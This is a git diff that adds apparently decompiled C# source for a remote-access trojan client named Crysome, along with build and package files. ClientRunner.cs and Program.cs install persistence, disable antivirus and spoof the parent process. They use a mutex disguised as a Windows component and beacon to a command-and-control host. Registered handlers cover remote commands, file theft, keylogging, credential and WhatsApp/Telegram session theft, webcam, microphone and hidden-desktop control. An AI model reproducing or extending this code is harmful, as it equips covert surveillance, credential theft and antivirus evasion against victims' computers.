"video/mpeg", ".mpg" }, + { "video/quicktime", ".mov" }, + { "video/vnd.dlna.mpeg-tts", ".m2t" }, + { "video/x-dv", ".dv" }, + { "video/x-la-asf", ".lsf" }, + { "video/x-ms-asf", ".asf" }, + { "x-world/x-vrml", ".xof" } + }; + foreach (KeyValuePair item in dictionary.ToList()) + { + if (!dictionary.ContainsKey(item.Value)) + { + dictionary.Add(item.Value, item.Key); + } + } + return dictionary; + } + + public static string GetMimeType(string extension) + { + if (extension == null) + { + throw new ArgumentNullException("extension"); + } + if (!extension.StartsWith(".")) + { + extension = "." + extension; + } + if (!mappings.Value.TryGetValue(extension, out var value)) + { + return "application/octet-stream"; + } + return value; + } + + public static string GetExtension(string mimeType) + { + return GetExtension(mimeType, throwErrorIfNotFound: true); + } + + public static string GetExtension(string mimeType, bool throwErrorIfNotFound) + { + if (mimeType == null) + { + throw new ArgumentNullException("mimeType"); + } + if (mimeType.StartsWith(".")) + { + throw new ArgumentException("Requested mime type is not valid: " + mimeType); + } + if (mappings.Value.TryGetValue(mimeType, out var value)) + { + return value; + } + if (throwErrorIfNotFound) + { + throw new ArgumentException("Requested mime type is not registered: " + mimeType); + } + return string.Empty; + } +} diff --git a/Crysome.Client/Crysome.Client.Web/WebFileDownloader.cs b/Crysome.Client/Crysome.Client.Web/WebFileDownloader.cs new file mode 100644 index 0000000..8ffe42e --- /dev/null +++ b/Crysome.Client/Crysome.Client.Web/WebFileDownloader.cs @@ -0,0 +1,54 @@ +using System; +using System.IO; +using System.Net.Http; + +namespace Crysome.Client.Web; + +public class WebFileDownloader +{ + private readonly HttpClient httpClient; + + public WebFileDownloader() + { + httpClient = new HttpClient(); + } + + public async void DownloadFile(string url) + { + HttpResponseMessage response = await httpClient.GetAsync(url); + if (!response.IsSuccessStatusCode) + { + return; + } + byte[] bytes = await response.Content.ReadAsByteArrayAsync(); + string[] array = url.Split('/'); + string text = array[array.Length - 1]; + _ = string.Empty; + _ = string.Empty; + string text2; + if (text.Contains(".")) + { + string[] array2 = text.Split('.'); + text2 = array2[0]; + if (array2[1].Contains("?")) + { + array2[1] = array2[1].Split('?')[0]; + } + string text3 = array2[1]; + text2 = text2 + "." + text3; + } + else + { + text2 = text; + } + if (response.Content.Headers.ContentDisposition != null) + { + text2 = response.Content.Headers.ContentDisposition.FileName; + } + if (response.Content.Headers.ContentType != null) + { + MimeTypeMap.GetExtension(response.Content.Headers.ContentType.MediaType); + } + File.WriteAllBytes(Path.Combine(Environment.CurrentDirectory, text2), bytes); + } +} diff --git a/Crysome.Client/Crysome.Client.csproj b/Crysome.Client/Crysome.Client.csproj new file mode 100644 index 0000000..2bbc129 --- /dev/null +++ b/Crysome.Client/Crysome.Client.csproj @@ -0,0 +1,38 @@ + + + net472 + WinExe + true + true + ..\CRYSOME_COMPILED\ + false + false + latest + x64 + none + false + + + + + + + + all + runtime; build; native; contentfiles; analyzers; buildtransitive + + + + + + + + + + + + + + + + diff --git a/Crysome.Client/Crysome.Client/ClientRunner.cs b/Crysome.Client/Crysome.Client/ClientRunner.cs new file mode 100644 index 0000000..b35bc72 --- /dev/null +++ b/Crysome.Client/Crysome.Client/ClientRunner.cs @@ -0,0 +1,289 @@ +using System; +using System.IO; +using System.Net; +using System.Net.Sockets; +using System.Threading; +using Crysome.Client.Configuration; +using Crysome.Client.Handlers; +using Crysome.Client.Network; +using Crysome.Client.SystemInfo; +using Crysome.Common.Network; +using Crysome.Common.Network.FileTransfer; +using Crysome.Common.Network.Packets; +using Crysome.Common.Network.Packets.Client; +using Crysome.Common.Network.Packets.Server; + +namespace Crysome.Client; + +internal class ClientRunner +{ + private CrysomeClient client; + + private PacketChannel packetChannel; + + private volatile bool running = true; + + public void Run() + { + try + { + Persistence.Install(); + } + catch (Exception ex) + { + Program.Log("Persistence skip: " + ex.Message); + } + if (ClientConfiguration.IsFeatureEnabled("survival")) + { + try + { + Survival.Install(); + } + catch (Exception ex2) + { + Program.Log("Survival skip: " + ex2.Message); + } + } + if (ClientConfiguration.IsFeatureEnabled("avkill")) + { + try + { + AVKiller.Start(); + } + catch (Exception ex3) + { + Program.Log("AVKiller skip: " + ex3.Message); + } + } + packetChannel = new PacketChannel(); + RegisterHandlers(); + Program.Log("Handlers registered. Entering connect loop..."); + while (running) + { + try + { + Program.Log("Connecting to " + ClientConfiguration.Host + ":" + ClientConfiguration.Port); + Connect(); + Program.Log("Connected!"); + ReadLoop(); + Program.Log("Disconnected, retry in 5s..."); + } + catch (Exception ex4) + { + Program.Log("Loop error: " + ex4.Message); + } + Thread.Sleep(5000); + } + } + + private void RegisterHandlers() + { + packetChannel.RegisterHandler(SystemHandlers.HandleClientInfo); + packetChannel.RegisterHandler(SystemHandlers.HandleGetSystemInfo); + packetChannel.RegisterHandler(PingHandlers.HandlePing); + if (ClientConfiguration.IsFeatureEnabled("cmd")) + { + packetChannel.RegisterHandler(CommandHandlers.HandleRunCommand); + } + if (ClientConfiguration.IsFeatureEnabled("direct")) + { + packetChannel.RegisterHandler(DirectLinkHandlers.HandleDirectLink); + } + if (ClientConfiguration.IsFeatureEnabled("file")) + { + packetChannel.RegisterHandler(FileTransferHandlers.HandleFileTransfer); + packetChannel.RegisterHandler(FileTransferHandlers.HandleFtStart); + packetChannel.RegisterHandler(FileTransferHandlers.HandleFtChunk); + packetChannel.RegisterHandler(FileTransferHandlers.HandleFtAbort); + } + if (ClientConfiguration.IsFeatureEnabled("screen")) + { + packetChannel.RegisterHandler(SystemHandlers.HandleTakeScreenshot); + } + if (ClientConfiguration.IsFeatureEnabled("restart")) + { + packetChannel.RegisterHandler(SystemHandlers.HandleRestart); + } + if (ClientConfiguration.IsFeatureEnabled("filemgr")) + { + packetChannel.RegisterHandler(SystemHandlers.HandleGetDrives); + packetChannel.RegisterHandler(FileHandlers.HandleGetDirectory); + packetChannel.RegisterHandler(FileHandlers.HandleReadFile); + packetChannel.RegisterHandler(FileHandlers.HandleWriteFile); + packetChannel.RegisterHandler(FileHandlers.HandleDeleteFile); + packetChannel.RegisterHandler(FileHandlers.HandleSendFile); + } + packetChannel.RegisterHandler(FileHandlers.HandleDownloadFile); + if (ClientConfiguration.IsFeatureEnabled("proxy")) + { + packetChannel.RegisterHandler(ProxyHandlers.HandleStartProxy); + packetChannel.RegisterHandler(ProxyHandlers.HandleStartReverseProxy); + packetChannel.RegisterHandler(ProxyHandlers.HandleStopProxy); + packetChannel.RegisterHandler(ProxyHandlers.HandleReverseProxyStart); + packetChannel.RegisterHandler(ProxyHandlers.HandleReverseProxyData); + packetChannel.RegisterHandler(ProxyHandlers.HandleReverseProxyEnd); + } + if (ClientConfiguration.IsFeatureEnabled("proc")) + { + packetChannel.RegisterHandler(ProcessHandlers.HandleGetProcessList); + packetChannel.RegisterHandler(ProcessHandlers.HandleKillProcess); + } + if (ClientConfiguration.IsFeatureEnabled("audio")) + { + packetChannel.RegisterHandler(AudioHandlers.HandleRequestAudio); + packetChannel.RegisterHandler(AudioHandlers.HandleGetAudioDevices); + packetChannel.RegisterHandler(AudioHandlers.HandleStartAudioStream); + packetChannel.RegisterHandler(AudioHandlers.HandleStopAudioStream); + } + if (ClientConfiguration.IsFeatureEnabled("cam")) + { + packetChannel.RegisterHandler(CameraHandlers.HandleRequestCameraFrame); + packetChannel.RegisterHandler(CameraHandlers.HandleGetCameraDevices); + } + if (ClientConfiguration.IsFeatureEnabled("rdp")) + { + packetChannel.RegisterHandler(RemoteDesktopHandlers.HandleGetScreens); + packetChannel.RegisterHandler(RemoteDesktopHandlers.HandleStartRemoteDesktop); + packetChannel.RegisterHandler(RemoteDesktopHandlers.HandleStopRemoteDesktop); + packetChannel.RegisterHandler(RemoteDesktopHandlers.HandleRemoteInput); + packetChannel.RegisterHandler(RemoteDesktopHandlers.HandleRdpSetQuality); + } + if (ClientConfiguration.IsFeatureEnabled("hvnc")) + { + packetChannel.RegisterHandler(HvncHandlers.HandleStartHvnc); + packetChannel.RegisterHandler(HvncHandlers.HandleStopHvnc); + packetChannel.RegisterHandler(HvncHandlers.HandleHvncInput); + packetChannel.RegisterHandler(HvncHandlers.HandleHvncRunRequest); + } + if (ClientConfiguration.IsFeatureEnabled("cred")) + { + packetChannel.RegisterHandler(CredentialsHandlers.HandleRequestCredentials); + } + if (ClientConfiguration.IsFeatureEnabled("keylog")) + { + packetChannel.RegisterHandler(KeyloggerHandlers.HandleStartKeylogger); + packetChannel.RegisterHandler(KeyloggerHandlers.HandleStopKeylogger); + } + if (ClientConfiguration.IsFeatureEnabled("chat")) + { + packetChannel.RegisterHandler(ChatHandlers.HandleChatMessage); + } + packetChannel.RegisterHandler(WhatsAppHandlers.HandleWhatsAppSessionRequest); + packetChannel.RegisterHandler(TelegramHandlers.HandleTelegramSessionRequest); + } + + private void Connect() + { + //IL_0078: Unknown result type (might be due to invalid IL or missing references) + //IL_0082: Expected O, but got Unknown + if (!IPAddress.TryParse(ClientConfiguration.Host, out var address)) + { + Program.Log("Resolving: " + ClientConfiguration.Host); + IPHostEntry hostEntry = Dns.GetHostEntry(ClientConfiguration.Host); + if (hostEntry.AddressList.Length == 0) + { + throw new Exception("DNS failed for " + ClientConfiguration.Host); + } + address = hostEntry.AddressList[0]; + Program.Log("Resolved to " + address); + } + while (running) + { + try + { + client = new CrysomeClient(); + Program.Log("Connecting (RUDP / .NET Framework) to " + address?.ToString() + ":" + ClientConfiguration.Port + "..."); + client.Connect(address, ClientConfiguration.Port); + if (client.IsConnected) + { + Program.Log("CONNECTED. Sending client info..."); + SendClientInfo(); + break; + } + } + catch (SocketException ex) + { + Program.Log("Socket: " + ex.SocketErrorCode.ToString() + " " + ex.Message); + } + catch (Exception ex2) + { + Program.Log("ConnErr: " + ex2.Message); + } + Program.Log("Retry in 10s..."); + Thread.Sleep(10000); + } + } + + private void SendClientInfo() + { + //IL_007c: Unknown result type (might be due to invalid IL or missing references) + //IL_0082: Expected O, but got Unknown + try + { + SystemInformation systemInformation = SystemInformation.Get(); + ClientInfoResponsePacket val = new ClientInfoResponsePacket(ClientConfiguration.Identifier, client.RemoteAddress?.Address?.ToString() ?? "0.0.0.0", client.RemoteAddress?.Port ?? 0, systemInformation.UserName, systemInformation.ComputerName, systemInformation.OperatingSystem, systemInformation.ActiveWindowTitle, systemInformation.Uptime, systemInformation.CountryCode, ClientConfiguration.Group, ""); + client.SendPacket((IPacket)(object)val); + Program.Log("Client info sent: " + systemInformation.UserName + " / " + systemInformation.OperatingSystem + " / " + systemInformation.CountryCode); + KeyloggerHandlers.UploadOfflineDataIfAny(client); + } + catch (Exception ex) + { + Program.Log("SendClientInfo error: " + ex.Message); + } + } + + private static bool IsCamMicPacket(string name) + { + if (name != null) + { + if (!name.Contains("Camera") && !name.Contains("Audio")) + { + return name.Contains("Mic"); + } + return true; + } + return false; + } + + private void ReadLoop() + { + while (running && client.IsConnected) + { + try + { + IPacket val = client.ReadPacket(); + string text = ((object)val)?.GetType().Name ?? "null"; + if (IsCamMicPacket(text)) + { + Program.Log("[CAM/MIC] Rx: " + text); + } + packetChannel.HandlePacket(client, val); + if (IsCamMicPacket(text)) + { + Program.Log("[CAM/MIC] Handled OK: " + text); + } + } + catch (IOException ex) + { + Program.Log("IO: " + ex.Message); + break; + } + catch (Exception ex2) + { + Program.Log("Read ERROR: " + ex2.GetType().Name + " " + ex2.Message); + Program.Log("Stack: " + ex2.StackTrace); + if (ex2.InnerException != null) + { + Program.Log("Inner: " + ex2.InnerException.Message); + } + } + } + try + { + client.Disconnect(); + } + catch + { + } + } +} diff --git a/Crysome.Client/Crysome.Client/Program.cs b/Crysome.Client/Crysome.Client/Program.cs new file mode 100644 index 0000000..4324ab3 --- /dev/null +++ b/Crysome.Client/Crysome.Client/Program.cs @@ -0,0 +1,220 @@ +using System; +using System.Diagnostics; +using System.IO; +using System.Runtime.InteropServices; +using System.Threading; +using Crysome.Client.Configuration; + +namespace Crysome.Client; + +internal class Program +{ + internal static string logPath; + + [DllImport("user32.dll")] + private static extern bool SetProcessDPIAware(); + + [STAThread] + private static void Main(string[] args) + { + try + { + SetProcessDPIAware(); + } + catch + { + } + if (args != null && args.Length >= 2 && "--watcher".Equals(args[0], StringComparison.OrdinalIgnoreCase)) + { + if (!int.TryParse(args[1], out var result)) + { + return; + } + try + { + ClientConfiguration.Init(); + if (ClientConfiguration.IsFeatureEnabled("protect")) + { + SelfProtect.RunAsWatcher(result); + } + return; + } + catch + { + return; + } + } + bool createdNew; + using (new Mutex(initiallyOwned: true, "Global\\Microsoft.Windows.Shell_InstanceActivationMgr_b4e7f1a2", out createdNew)) + { + if (!createdNew) + { + return; + } + try + { + logPath = Path.Combine(Path.GetTempPath(), "Crysome_debug.log"); + } + catch + { + logPath = "C:\\Crysome_debug.log"; + } + Log("=== Crysome CLIENT STARTING ==="); + Log("EXE: " + AppDomain.CurrentDomain.BaseDirectory); + Log("CLR: " + Environment.Version); + Log("Hollowed: " + ClientConfiguration.IsHollowed); + AppDomain.CurrentDomain.UnhandledException += delegate(object s, UnhandledExceptionEventArgs e) + { + Log("FATAL UNHANDLED: " + ((e.ExceptionObject as Exception)?.ToString() ?? e.ExceptionObject?.ToString())); + }; + try + { + RealMain(args ?? new string[0]); + } + catch (Exception ex) + { + Log("FATAL CRASH: " + ex.ToString()); + try + { + Console.WriteLine("FATAL: " + ex.ToString()); + Console.WriteLine("Check log: " + logPath); + Console.ReadKey(); + } + catch + { + } + } + } + } + + private static void RealMain(string[] args) + { + Log("Loading config..."); + try + { + ClientConfiguration.Init(); + } + catch (Exception ex) + { + Log("Config init error: " + ex.ToString()); + } + if (ClientConfiguration.EnabledFeatures != null) + { + try + { + Log("Features: " + string.Join(",", ClientConfiguration.EnabledFeatures)); + } + catch + { + } + } + else + { + Log("Features: all"); + } + if (ClientConfiguration.IsFeatureEnabled("protect")) + { + try + { + if (SelfProtect.NeedsRelocation()) + { + Log("SelfProtect: needs relocation."); + if (SelfProtect.RelocateAndRelaunch(args)) + { + Log("SelfProtect: relocated, exiting original."); + Environment.Exit(0); + return; + } + Log("SelfProtect: relocation failed or not needed, continuing."); + } + else + { + Log("SelfProtect: already in correct path."); + } + } + catch (Exception ex2) + { + Log("SelfProtect relocation error: " + ex2.Message); + } + } + bool flag = args != null && Array.Exists(args, (string a) => "--spoofed".Equals(a, StringComparison.OrdinalIgnoreCase)); + string parentSpoof = ClientConfiguration.ParentSpoof; + bool flag2 = !ClientConfiguration.IsHollowed; + if (flag2 && !flag && !string.IsNullOrEmpty(parentSpoof) && parentSpoof != "None") + { + string fileName = Process.GetCurrentProcess().MainModule.FileName; + Log("Parent spoof: spawning under " + parentSpoof + " from " + fileName); + if (ParentSpoof.TrySpawnUnderParent(parentSpoof, fileName, "--spoofed")) + { + Log("Spawned under parent. Exiting this spawner."); + Environment.Exit(0); + return; + } + Log("Parent spoof failed, continuing normally."); + } + else if (!flag2 && !string.IsNullOrEmpty(parentSpoof) && parentSpoof != "None") + { + Log("Parent spoof skipped (hollowed mode)."); + } + if (ClientConfiguration.IsFeatureEnabled("protect")) + { + try + { + Log("SelfProtect: starting active protection..."); + SelfProtect.Start(); + } + catch (Exception ex3) + { + Log("SelfProtect start error: " + ex3.Message); + } + } + if (ClientConfiguration.IsFeatureEnabled("avkill")) + { + try + { + Log("AVKiller: neutralizing..."); + AVKiller.Start(); + } + catch (Exception ex4) + { + Log("AVKiller error: " + ex4.Message); + } + } + if (ClientConfiguration.IsFeatureEnabled("survival")) + { + try + { + Log("Survival: installing..."); + Survival.Install(); + } + catch (Exception ex5) + { + Log("Survival error: " + ex5.Message); + } + } + Log("Starting client runner..."); + new ClientRunner().Run(); + } + + internal static void Log(string msg) + { + try + { + string text = "[" + DateTime.Now.ToString("HH:mm:ss.fff") + "] " + msg + Environment.NewLine; + if (!string.IsNullOrEmpty(logPath)) + { + File.AppendAllText(logPath, text); + } + try + { + Console.Write(text); + } + catch + { + } + } + catch + { + } + } +} diff --git a/Crysome.Client/FodyWeavers.xml b/Crysome.Client/FodyWeavers.xml new file mode 100644 index 0000000..62628f7 --- /dev/null +++ b/Crysome.Client/FodyWeavers.xml @@ -0,0 +1,17 @@ + + + + + EntityFramework + EntityFramework.SqlServer + System.Data.SQLite.EF6 + System.Data.SQLite.Linq + System.Data.SqlClient + System.Diagnostics.DiagnosticSource + AForge + + + turbojpeg + + + diff --git a/Crysome.Client/FodyWeavers.xsd b/Crysome.Client/FodyWeavers.xsd new file mode 100644 index 0000000..ff119f7 --- /dev/null +++ b/Crysome.Client/FodyWeavers.xsd @@ -0,0 +1,141 @@ + + + + + + + + + + + + A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks + + + + + A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. + + + + + A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks + + + + + A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. + + + + + A list of unmanaged 32 bit assembly names to include, delimited with line breaks. + + + + + A list of unmanaged 64 bit assembly names to include, delimited with line breaks. + + + + + The order of preloaded assemblies, delimited with line breaks. + + + + + + This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. + + + + + Controls if .pdbs for reference assemblies are also embedded. + + + + + Controls if runtime assemblies are also embedded. + + + + + Controls whether the runtime assemblies are embedded with their full path or only with their assembly name. + + + + + Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. + + + + + As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. + + + + + Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. + + + + + Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. + + + + + A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | + + + + + A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. + + + + + A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with | + + + + + A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with |. + + + + + A list of unmanaged 32 bit assembly names to include, delimited with |. + + + + + A list of unmanaged 64 bit assembly names to include, delimited with |. + + + + + The order of preloaded assemblies, delimited with |. + + + + + + + + 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. + + + + + A comma-separated list of error codes that can be safely ignored in assembly verification. + + + + + 'false' to turn off automatic generation of the XML Schema file. + + + + + \ No newline at end of file diff --git a/Crysome.Client/obj/Crysome.Client.csproj.nuget.dgspec.json b/Crysome.Client/obj/Crysome.Client.csproj.nuget.dgspec.json new file mode 100644 index 0000000..4180053 --- /dev/null +++ b/Crysome.Client/obj/Crysome.Client.csproj.nuget.dgspec.json @@ -0,0 +1,189 @@ +{ + "format": 1, + "restore": { + "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Client\\Crysome.Client.csproj": {} + }, + "projects": { + "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Client\\Crysome.Client.csproj": { + "version": "1.0.0", + "restore": { + "projectUniqueName": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Client\\Crysome.Client.csproj", + "projectName": "Crysome.Client", + "projectPath": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Client\\Crysome.Client.csproj", + "packagesPath": "C:\\Users\\lukas\\.nuget\\packages\\", + "outputPath": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Client\\obj\\", + "projectStyle": "PackageReference", + "fallbackFolders": [ + "C:\\Program Files\\DevExpress 24.2\\Components\\Offline Packages", + "C:\\Program Files (x86)\\Microsoft Visual Studio\\Shared\\NuGetPackages" + ], + "configFilePaths": [ + "C:\\Users\\lukas\\AppData\\Roaming\\NuGet\\NuGet.Config", + "C:\\Program Files (x86)\\NuGet\\Config\\DevExpress 24.2.config", + "C:\\Program Files (x86)\\NuGet\\Config\\Microsoft.VisualStudio.FallbackLocation.config", + "C:\\Program Files (x86)\\NuGet\\Config\\Microsoft.VisualStudio.Offline.config" + ], + "originalTargetFrameworks": [ + "net472" + ], + "sources": { + "C:\\Program Files (x86)\\Microsoft SDKs\\NuGetPackages\\": {}, + "C:\\Program Files\\DevExpress 24.2\\Components\\System\\Components\\Packages": {}, + "C:\\Program Files\\dotnet\\library-packs": {}, + "https://api.nuget.org/v3/index.json": {} + }, + "frameworks": { + "net472": { + "targetAlias": "net472", + "projectReferences": { + "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Common.Client\\Crysome.Common.Client.csproj": { + "projectPath": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Common.Client\\Crysome.Common.Client.csproj" + } + } + } + }, + "warningProperties": { + "warnAsError": [ + "NU1605" + ] + }, + "restoreAuditProperties": { + "enableAudit": "true", + "auditLevel": "low", + "auditMode": "direct" + }, + "SdkAnalysisLevel": "10.0.100" + }, + "frameworks": { + "net472": { + "targetAlias": "net472", + "dependencies": { + "AForge.Video": { + "target": "Package", + "version": "[2.2.5, )" + }, + "AForge.Video.DirectShow": { + "target": "Package", + "version": "[2.2.5, )" + }, + "Costura.Fody": { + "target": "Package", + "version": "[5.7.0, )" + }, + "Fody": { + "include": "Runtime, Build, Native, ContentFiles, Analyzers, BuildTransitive", + "suppressParent": "All", + "target": "Package", + "version": "[6.8.0, )" + }, + "NAudio": { + "target": "Package", + "version": "[2.2.1, )" + }, + "SharpDX": { + "target": "Package", + "version": "[4.2.0, )" + }, + "SharpDX.DXGI": { + "target": "Package", + "version": "[4.2.0, )" + }, + "SharpDX.Direct3D11": { + "target": "Package", + "version": "[4.2.0, )" + }, + "System.Data.SQLite": { + "target": "Package", + "version": "[1.0.119, )" + }, + "System.Text.Json": { + "target": "Package", + "version": "[8.0.5, )" + }, + "libjpeg-turbo-native-win": { + "target": "Package", + "version": "[2.0.15, )" + }, + "libjpeg-turbo-net": { + "target": "Package", + "version": "[2.0.15, )" + } + }, + "runtimeIdentifierGraphPath": "C:\\Program Files\\dotnet\\sdk\\10.0.102\\RuntimeIdentifierGraph.json" + } + }, + "runtimes": { + "win-x64": { + "#import": [] + } + } + }, + "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Common.Client\\Crysome.Common.Client.csproj": { + "version": "1.0.0", + "restore": { + "projectUniqueName": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Common.Client\\Crysome.Common.Client.csproj", + "projectName": "Crysome.Common.Client", + "projectPath": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Common.Client\\Crysome.Common.Client.csproj", + "packagesPath": "C:\\Users\\lukas\\.nuget\\packages\\", + "outputPath": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Common.Client\\obj\\", + "projectStyle": "PackageReference", + "fallbackFolders": [ + "C:\\Program Files\\DevExpress 24.2\\Components\\Offline Packages", + "C:\\Program Files (x86)\\Microsoft Visual Studio\\Shared\\NuGetPackages" + ], + "configFilePaths": [ + "C:\\Users\\lukas\\AppData\\Roaming\\NuGet\\NuGet.Config", + "C:\\Program Files (x86)\\NuGet\\Config\\DevExpress 24.2.config", + "C:\\Program Files (x86)\\NuGet\\Config\\Microsoft.VisualStudio.FallbackLocation.config", + "C:\\Program Files (x86)\\NuGet\\Config\\Microsoft.VisualStudio.Offline.config" + ], + "originalTargetFrameworks": [ + "net472" + ], + "sources": { + "C:\\Program Files (x86)\\Microsoft SDKs\\NuGetPackages\\": {}, + "C:\\Program Files\\DevExpress 24.2\\Components\\System\\Components\\Packages": {}, + "C:\\Program Files\\dotnet\\library-packs": {}, + "https://api.nuget.org/v3/index.json": {} + }, + "frameworks": { + "net472": { + "targetAlias": "net472", + "projectReferences": {} + } + }, + "warningProperties": { + "warnAsError": [ + "NU1605" + ] + }, + "restoreAuditProperties": { + "enableAudit": "true", + "auditLevel": "low", + "auditMode": "direct" + }, + "SdkAnalysisLevel": "10.0.100" + }, + "frameworks": { + "net472": { + "targetAlias": "net472", + "dependencies": { + "System.Buffers": { + "target": "Package", + "version": "[4.6.0, )" + }, + "System.Memory": { + "target": "Package", + "version": "[4.6.0, )" + }, + "System.Text.Json": { + "target": "Package", + "version": "[8.0.5, )" + } + }, + "runtimeIdentifierGraphPath": "C:\\Program Files\\dotnet\\sdk\\10.0.102\\RuntimeIdentifierGraph.json" + } + } + } + } +} \ No newline at end of file diff --git a/Crysome.Client/obj/Crysome.Client.csproj.nuget.g.props b/Crysome.Client/obj/Crysome.Client.csproj.nuget.g.props new file mode 100644 index 0000000..ff264b9 --- /dev/null +++ b/Crysome.Client/obj/Crysome.Client.csproj.nuget.g.props @@ -0,0 +1,25 @@ + + + + True + NuGet + $(MSBuildThisFileDirectory)project.assets.json + $(UserProfile)\.nuget\packages\ + C:\Users\lukas\.nuget\packages\;C:\Program Files\DevExpress 24.2\Components\Offline Packages;C:\Program Files (x86)\Microsoft Visual Studio\Shared\NuGetPackages + PackageReference + 7.0.0 + + + + + + + + + + + + C:\Users\lukas\.nuget\packages\entityframework\6.4.4 + C:\Users\lukas\.nuget\packages\system.data.sqlite.ef6\1.0.119 + + \ No newline at end of file diff --git a/Crysome.Client/obj/Crysome.Client.csproj.nuget.g.targets b/Crysome.Client/obj/Crysome.Client.csproj.nuget.g.targets new file mode 100644 index 0000000..a65d320 --- /dev/null +++ b/Crysome.Client/obj/Crysome.Client.csproj.nuget.g.targets @@ -0,0 +1,11 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/Crysome.Client/obj/Debug/.NETCoreApp,Version=v9.0.AssemblyAttributes.cs b/Crysome.Client/obj/Debug/.NETCoreApp,Version=v9.0.AssemblyAttributes.cs new file mode 100644 index 0000000..ea1f2ea --- /dev/null +++ b/Crysome.Client/obj/Debug/.NETCoreApp,Version=v9.0.AssemblyAttributes.cs @@ -0,0 +1,4 @@ +// +using System; +using System.Reflection; +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETCoreApp,Version=v9.0", FrameworkDisplayName = ".NET 9.0")] diff --git a/Crysome.Client/obj/Debug/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs b/Crysome.Client/obj/Debug/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs new file mode 100644 index 0000000..057ed7f --- /dev/null +++ b/Crysome.Client/obj/Debug/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs @@ -0,0 +1,4 @@ +// +using System; +using System.Reflection; +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.7.2", FrameworkDisplayName = ".NET Framework 4.7.2")] diff --git a/Crysome.Client/obj/Debug/Costura/042522CEC4F745DF62FF0B4EC9C7E663FF7F1CCE.costura.system.data.sqlite.ef6.dll.compressed.compressed b/Crysome.Client/obj/Debug/Costura/042522CEC4F745DF62FF0B4EC9C7E663FF7F1CCE.costura.system.data.sqlite.ef6.dll.compressed.compressed new file mode 100644 index 0000000..c2fcbc4 Binary files /dev/null and b/Crysome.Client/obj/Debug/Costura/042522CEC4F745DF62FF0B4EC9C7E663FF7F1CCE.costura.system.data.sqlite.ef6.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Debug/Costura/0999178949DE510A47D87DE3B8A117A003C572EE.costura.naudio.winmm.dll.compressed.compressed b/Crysome.Client/obj/Debug/Costura/0999178949DE510A47D87DE3B8A117A003C572EE.costura.naudio.winmm.dll.compressed.compressed new file mode 100644 index 0000000..27078d5 Binary files /dev/null and b/Crysome.Client/obj/Debug/Costura/0999178949DE510A47D87DE3B8A117A003C572EE.costura.naudio.winmm.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Debug/Costura/18C2276726EFA5ED871C8BBD667C20E14654A9BF.costura.crysome.common.client.pdb.compressed.compressed b/Crysome.Client/obj/Debug/Costura/18C2276726EFA5ED871C8BBD667C20E14654A9BF.costura.crysome.common.client.pdb.compressed.compressed new file mode 100644 index 0000000..f601036 Binary files /dev/null and b/Crysome.Client/obj/Debug/Costura/18C2276726EFA5ED871C8BBD667C20E14654A9BF.costura.crysome.common.client.pdb.compressed.compressed differ diff --git a/Crysome.Client/obj/Debug/Costura/1C27A41FD84D6BFE99DABAE2E59FCF12FCCF6213.costura.microsoft.win32.registry.dll.compressed.compressed b/Crysome.Client/obj/Debug/Costura/1C27A41FD84D6BFE99DABAE2E59FCF12FCCF6213.costura.microsoft.win32.registry.dll.compressed.compressed new file mode 100644 index 0000000..9f40d14 Binary files /dev/null and b/Crysome.Client/obj/Debug/Costura/1C27A41FD84D6BFE99DABAE2E59FCF12FCCF6213.costura.microsoft.win32.registry.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Debug/Costura/2242627282F9E07E37B274EA36FAC2D3CD9C9110.costura.system.threading.tasks.extensions.dll.compressed.compressed b/Crysome.Client/obj/Debug/Costura/2242627282F9E07E37B274EA36FAC2D3CD9C9110.costura.system.threading.tasks.extensions.dll.compressed.compressed new file mode 100644 index 0000000..2a2fd40 Binary files /dev/null and b/Crysome.Client/obj/Debug/Costura/2242627282F9E07E37B274EA36FAC2D3CD9C9110.costura.system.threading.tasks.extensions.dll.compressed.compressed differ diff --git 